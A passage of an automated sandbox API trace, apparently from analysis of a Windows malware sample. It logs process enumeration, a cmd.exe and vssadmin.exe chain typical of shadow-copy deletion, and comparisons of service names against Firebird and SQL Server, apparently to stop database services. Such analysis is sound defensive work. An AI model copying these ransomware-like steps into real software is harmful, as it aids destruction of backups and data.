lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.488] lstrlenW (lpString="svchost.exe") returned 11 [0037.489] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.489] lstrlenW (lpString="audiodg.exe") returned 11 [0037.489] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.490] lstrlenW (lpString="svchost.exe") returned 11 [0037.490] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.491] lstrlenW (lpString="svchost.exe") returned 11 [0037.491] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.491] lstrlenW (lpString="dwm.exe") returned 7 [0037.491] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.492] lstrlenW (lpString="explorer.exe") returned 12 [0037.492] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.493] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.493] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.494] lstrlenW (lpString="taskhost.exe") returned 12 [0037.494] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.494] lstrlenW (lpString="svchost.exe") returned 11 [0037.494] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.495] lstrlenW (lpString="taskeng.exe") returned 11 [0037.495] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.496] lstrlenW (lpString="taskhost.exe") returned 12 [0037.496] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0037.497] lstrlenW (lpString="obligations-breath.exe") returned 22 [0037.497] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0037.497] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0037.497] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0037.498] lstrlenW (lpString="achieving.exe") returned 13 [0037.498] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0037.499] lstrlenW (lpString="venice.exe") returned 10 [0037.499] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0037.500] lstrlenW (lpString="owns.exe") returned 8 [0037.500] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0037.500] lstrlenW (lpString="faster momentum.exe") returned 19 [0037.500] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0037.501] lstrlenW (lpString="vital_reasons.exe") returned 17 [0037.501] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0037.502] lstrlenW (lpString="everyone.exe") returned 12 [0037.502] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0037.564] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0037.564] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0037.565] lstrlenW (lpString="bored_excluded.exe") returned 18 [0037.565] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0037.566] lstrlenW (lpString="mothers.exe") returned 11 [0037.566] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0037.566] lstrlenW (lpString="career-fed.exe") returned 14 [0037.567] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0037.567] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0037.567] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0037.568] lstrlenW (lpString="initial_utilization.exe") returned 23 [0037.568] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0037.568] lstrlenW (lpString="cf-represent.exe") returned 16 [0037.569] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0037.569] lstrlenW (lpString="tue.exe") returned 7 [0037.569] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0037.570] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0037.570] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0037.570] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0037.570] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0037.571] lstrlenW (lpString="stuff_event.exe") returned 15 [0037.571] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0037.572] lstrlenW (lpString="keywords-copies.exe") returned 19 [0037.572] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0037.572] lstrlenW (lpString="lap.exe") returned 7 [0037.572] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.573] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.573] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.574] lstrlenW (lpString="dllhost.exe") returned 11 [0037.574] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.574] lstrlenW (lpString="dllhost.exe") returned 11 [0037.574] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0037.575] lstrlenW (lpString="chrome64b.exe") returned 13 [0037.575] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.576] lstrlenW (lpString="cmd.exe") returned 7 [0037.576] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.577] lstrlenW (lpString="conhost.exe") returned 11 [0037.577] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.577] lstrlenW (lpString="vssadmin.exe") returned 12 [0037.577] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0037.578] CloseHandle (hObject=0x1e4) returned 1 [0037.578] Sleep (dwMilliseconds=0x1f4) [0038.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fc28 [0038.111] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0038.112] GetLastError () returned 0xea [0038.112] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6e1eb0 [0038.112] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0038.112] CloseServiceHandle (hSCObject=0x66fc28) returned 1 [0038.112] lstrlenW (lpString="Appinfo") returned 7 [0038.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.113] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.113] lstrlenW (lpString="AudioSrv") returned 8 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.113] lstrlenW (lpString="BFE") returned 3 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.113] lstrlenW (lpString="CryptSvc") returned 8 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.113] lstrlenW (lpString="CscService") returned 10 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.113] lstrlenW (lpString="DcomLaunch") returned 10 [0038.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.113] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.113] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.114] lstrlenW (lpString="Dhcp") returned 4 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.114] lstrlenW (lpString="Dnscache") returned 8 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.114] lstrlenW (lpString="DPS") returned 3 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.114] lstrlenW (lpString="eventlog") returned 8 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.114] lstrlenW (lpString="EventSystem") returned 11 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.114] lstrlenW (lpString="gpsvc") returned 5 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.114] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.114] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.114] lstrlenW (lpString="iphlpsvc") returned 8 [0038.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.115] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.115] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.115] lstrlenW (lpString="LanmanServer") returned 12 [0038.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.115] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.115] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.115] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.115] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.115] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.115] lstrlenW (lpString="lmhosts") returned 7 [0038.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.115] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.116] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.116] lstrlenW (lpString="MMCSS") returned 5 [0038.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.116] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.116] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.116] lstrlenW (lpString="MpsSvc") returned 6 [0038.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.116] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.116] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.116] lstrlenW (lpString="Netman") returned 6 [0038.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.116] lstrlenW (lpString="netprofm") returned 8 [0038.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.116] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.116] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.116] lstrlenW (lpString="NlaSvc") returned 6 [0038.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.117] lstrlenW (lpString="nsi") returned 3 [0038.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.117] lstrcmpiW 